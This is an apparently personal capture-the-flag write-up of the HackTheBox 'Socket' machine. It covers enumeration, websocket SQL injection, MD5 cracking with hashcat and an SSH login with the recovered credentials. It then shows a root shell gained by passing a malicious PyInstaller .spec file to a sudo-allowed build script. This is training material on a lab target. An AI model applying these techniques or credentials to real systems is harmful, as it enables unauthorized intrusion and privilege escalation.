Socket Writeup

16 July 2023 #CTF #HTB #box #medium #linux

socket info

Enumeration

Put on your hacking socks, it's nmap time:

$ sudo nmap -sCV -oN enum/initial.nmap 10.10.11.206
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

On port 80 we have a simple web app to read/generate QR codes:

index

There are also links to a desktop version for both Linux and Windows:

downloads

Thick Client

After extracting the archive, we get an executable and a png file:

$ ls -Alh
total 104M
-rwxr-xr-x 1 yep yep 104M Nov 23 15:18 qreader
-rwxr-xr-x 1 yep yep  541 Nov 23 15:21 test.png

The executable is huge (104M) and looking at it with strings reveals that it is a python program bundled as a binary:

$ strings qreader
[...]
Py_DontWriteBytecodeFlag
Py_FileSystemDefaultEncoding
Py_FrozenFlag
Py_IgnoreEnvironmentFlag
Py_NoSiteFlag
Py_NoUserSiteDirectory
Py_OptimizeFlag
Py_VerboseFlag
Py_UnbufferedStdioFlag
Py_UTF8Mode
[...]
xcv2/__init__.py
xcv2/config-3.py
xcv2/config.py
xcv2/data/__init__.py
xcv2/gapi/__init__.py
xcv2/load_config_py2.py
xcv2/load_config_py3.py
xcv2/mat_wrapper/__init__.py
xcv2/misc/__init__.py
xcv2/misc/version.py
xcv2/utils/__init__.py
xcv2/version.py
[...]

Time to do some dynamic analysis to see what this app is doing. We'll use proxychains to force the traffic through Burp. Copy /etc/proxychains.conf to ./burp.conf and modify the last few lines:

[ProxyList]
http 127.0.0.1 8080

Now we can launch the application:

$ proxychains -f burp.conf qreader

This opens a new window. Clicking on About -> Version produces some HTTP/websocket traffic (make sure Burp is intercepting):

intercept websocket

Forwarding the request will lead to an error:

error

This is because we need to add ws.qreader.htb to /etc/hosts.

Once we do it, this message should appear on the app:

version info

There is some websocket traffic on the 'WebSockets history' tab:

websockets history

Foothold

We can send this websocket message to the Repeater tab to play with. There is an SQL injection in the version:

union injection

After a bit of troubleshooting (and guessing) we learn that the DB used is sqlite.

This is how we'll dump the tables:

get tables

The 'users' table seems the most interesting, let's see its columns:

get columns of users table

Okay, let's dump all usernames and passwords:

dump username and password

This is just a MD5 hash. We can throw it to hashcat:

$ hashcat -m 0 0c090c365fa0559b151a43e0fea39710 /usr/share/wordlists/rockyou.txt
[...]
0c090c365fa0559b151a43e0fea39710:denjanjade122566
[...]

We have a password, but no username. Digging through the DB a bit more, we can find a few usernames in the 'answer' table:

answer table

We see that 'Thomas Keller' answered and is actually the admin. We can SSH in with tkeller:denjanjade122566

Privesc

We can run a script as root with sudo:

tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh

This script has a build subcommand that uses pyinstaller to build a binary from a python script:

[...]
if [[ $action == 'build' ]]; then
    if [[ $ext == 'spec' ]] ; then
        /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
        /home/svc/.local/bin/pyinstaller $name
        /usr/bin/mv ./dist ./build /opt/shared
    else
        echo "Invalid file format"
        exit 1;
    fi
[...]

It wants the filename to end with .spec. We can find what these files are used for in the PyInstaller docs:

The spec file tells PyInstaller how to process your script. It encodes the script names and most of the options you give to the pyinstaller command. The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file

Okay, it seems it's just a good old python script. Let's create one called gimmeroot.spec:

import os
os.system('bash')

And now use the script to build it:

tkeller@socket:~$ sudo build-installer.sh build gimmeroot.spec
642 INFO: PyInstaller: 5.6.2
642 INFO: Python: 3.10.6
645 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
652 INFO: UPX is not available.
root@socket:/home/tkeller# id
uid=0(root) gid=0(root) groups=0(root)

And boom we get a root shell. Simple as that.

Key Takeaways